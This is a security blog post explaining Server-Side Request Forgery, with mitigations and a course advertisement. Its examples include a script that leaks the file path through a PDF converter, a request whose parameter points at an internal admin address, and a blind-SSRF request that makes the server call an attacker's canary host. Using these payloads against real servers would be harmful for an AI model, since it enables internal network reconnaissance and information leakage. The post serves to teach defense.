Nowadays, web developers rely mostly on well-established frameworks to develop their platform or web sites. These frameworks take care of many vulnerabilities like XSS, SQLi, etc. and give the developers a care-free environment.

However, there is one sneaky weakness that can escape the usual checks quite easily and go undetected: SSRF.

Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to force the server into making web requests to arbitrary domains, e.g., an internal server that would normally be not publicly accessible. Therefore, this vulnerability, for example, could allow the attacker to explore the internal network, reading files that shouldn’t be accessible, embed malicious files such as malwares or exploiting one of the running services and being able to execute arbitrary code (RCE). With such attack, it would also be possible to do Denial of Service attacks on servers by flooding them with requests, especially for internal systems which usually manage less traffic than public interfaces.

First example – Attack against the server

One common target for SSRF attacks are PDF generators, they are used to generate invoices, tickets, reports and many more. These models of document require dynamic data from databases and sometimes they also integrate HTML code. In addition, the default PDF reader in major browsers is based on headless Chrome so it is capable of rendering HTML.

Let’s take as example a vulnerable library “wkhtmltopdf v0.12.5” which converts HTML to PDF. The following HTML file contains a script which writes the document location:

$cat convert.html
<html>
  <head>
    <title>
      Page to convert
    </title>
    <style>
      body {
        background-color:
          #ffffff;
      }
    </style>
  </head>
  <body>
  <h1>
    This is a page to convert to PDF
  </h1>
  <script>
    document.write(document.location);
  </script>
  </body>
</html>

By converting this HTML to PDF with this vulnerable library and opening it, the document location will be displayed. If this PDF had been downloaded from the web application, the path could have been leaked to a malicious user which gathers information about the server.

With this kind of trick, it would be also possible to leak the content of files by embedding them into the PDF via an iframe.

Second example – Attack against an internal system

Instead of targeting the web server, it would be possible to try to target the internal systems. Let’s take the example of an admin interface available on an internal server that is not publicly accessible. If the request comes from the server itself, which has also an internal interface, this request could be done, and the data would be displayed to the user exploiting this vulnerability.

Let’s take this HTTP Request as an example:

POST /request/path HTTP/1.1
Host: <web app address>
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

path=http://10.10.1.1/admin

In the path parameter, the attacker specifies the path of the internal server that points to the admin interface. In this case, the HTTP request will come from the web server and the content of the page will be displayed to the attacker even if he normally wouldn’t have any access to it. In this kind of request, the attacker could try to enumerate available services inside the internal network and try to get confidential information.

Third example – Blind SSRF

Blind SSRF attacks work as a normal SSRF attack, except that the attacker doesn’t receive the response from the targeted domain, that’s why it is called “blind”. To confirm that there is actually a vulnerability, the attacker would need to force the server into making DNS/HTTP requests to a SSRF canary, which is remote host controlled by him. By receiving the requests from the target host directly to the canary, it is also possible to get to know the presence of used software and their version which can then be used to do more targeted attacks.

Let’s take the following web application as an example which contains a functionality to add a list of URLs. When adding a URL to the list, the value appears below.

HTTP Request to add a URL:

POST /public/enannini/test.php? HTTP/1.1
Host: osiris.compass-security.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Connection: close

url=https%3A%2F%2Fvhgidr8vuf4yfrxjg4yepwxaq1wskl8a.cqo.ch

HTTP Response:

HTTP/1.1 200 OK
Date: Fri, 30 Jun 2023 12:15:42 GMT
Access-Control-Allow-Origin: *
Content-Length: 99
Connection: close
Content-Type: text/html; charset=UTF-8

URL has been added. <a href="?">Go back</a>.

In this case, no data is returned to the user adding the URL, just an informational message saying that the URL has been added.

In this example, the added URL was a SSRF canary which is control of the attacker. On the canary, it is possible to see that the web server did DNS/HTTP requests on the added URL. Due to these requests, it is possible to know that the web server uses a vulnerable version of Java to make HTTP requests. Moreover, it is also possible to know the source IP address from which the requests have been made.

In this case, even if the user didn’t receive directly any data in return, he could anyway gather a lot of information about the web server and find new ways to attack it.

Mitigation

To mitigate this kind of vulnerability, there are multiple solutions on the application level:

  • Remove user inputs where not necessary
  • Allow only public IPs/hostnames
  • Whitelist

Sometimes, this kind of user inputs are not required for the purpose of the application, it should be carefully checked if this is really demanded and removed where not needed.

If involving an internal system is not needed, the application should only accept public hosts as user input. If an internal IP/hostname is inserted, just drop the request.

There are cases where internal IPs/hostnames are needed though, therefore only a whitelist of the necessary ones should be allowed.

There are other means to protect web applications from such attacks which are not directly embedded into the web application:

  • Firewall rules
  • Authentication on internal services
  • Disable URL schemas

Do you want to learn more about this kind of issue? You have the opportunity to register to our Web Security Advanced course in November 2023: https://www.compass-security.com/en/trainings/web-application-security-advanced/web-application-security-advanced-zurich-november-2023